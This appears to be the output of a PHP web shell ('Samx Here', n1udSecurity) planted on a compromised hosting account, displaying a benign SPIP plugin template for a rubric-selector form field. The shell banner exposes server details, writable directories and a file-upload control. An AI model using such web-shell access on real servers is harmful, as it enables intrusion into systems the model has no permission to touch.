Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/saisies/saisies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/saisies/saisies/selecteur_rubrique.html
[(#REM)

	Affiche un navigateur de sélection de rubriques par le biais du sélecteur générique de Spip.

	### /!\ Format des données ###
	Attention, le picker ajax du sélecteur générique retourne toujours un tableau :
	_request($name) = array('article|3', 'article|9', 'rubrique|10');
	Une fonction de SPIP 3 permet de récupérer un tableau d'identifiants par type d'objet :
	[(#CHAMP|picker_selected{rubrique})]
	Cette fonction peut être pratique dans une boucle en utilisant le critere IN
	(picker_selected est dans prive/formulaires/selecteur/generique_fonctions.php de SPIP 3)
	La valeur en entrée peut être un simple id ou un tableau d'ids, elle sera convertie au bon format.

  Parametres :
  - multiple : si oui, on peut selectionner plusieurs rubriques
  - afficher_langue : si oui, on affiche la langue de l'objet selectionne
  - limite_branche : branche dans laquelle on limite le selecteur
  - afficher_rub_dans_langue_interface : si oui, on n'affiche que les rubriques de la langue de l'interface
  - defaut : valeur par defaut si pas présente dans l'environnement
  - valeur_forcee : valeur utilisee meme si une valeur est dans l'environnement

  Exemple d'appel :
	[(#SAISIE{selecteur_rubrique,rubriques_menu,
		multiple=oui,
		label=<:plugin:article_en_une:>})]
]
[(#SET{val,#ENV{valeur_forcee,#ENV{valeur,#ENV{defaut}}}|saisies_picker_preselect_objet{rubrique}})]

[(#SET{filtrer_langue_rubrique,[(#ENV{afficher_rub_dans_langue_interface,0}|oui) #ENV{lang}]})]

[(#REM) input necessaire au tag label for
	Mais si on le garde, la saisie enregistree en base, n'est pas correcte
   On pourrait rajouter l'id dans le input cree par Bonux, mais du coup manque la chaine "champ_"
   Comme ca a l'air un peu tordu tout ca, tant pis pour l'erreur HTML
   Yffic
]
[(#REM) Donner a manger a CFG ou CVT-configurer si aucune valeur definie ]
<!--keepme: <input type="hidden" name="[(#ENV{nom,id_item})][]" id="[champ_(#ENV{nom,id_item})]" value="" />-->
[(#SET{select,[(#ENV{multiple}|?{0,1})]})]
<INCLURE{fond=formulaires/selecteur/rubriques,
	selected=#GET{val},
	name=#ENV{nom},
	afficher_langue=#ENV{afficher_langue,''},
	filtrer_langue_rubrique=#GET{filtrer_langue_rubrique,''},
	limite_branche=#ENV{limite_branche,''},
	select=#GET{select}}
	/>

SAMX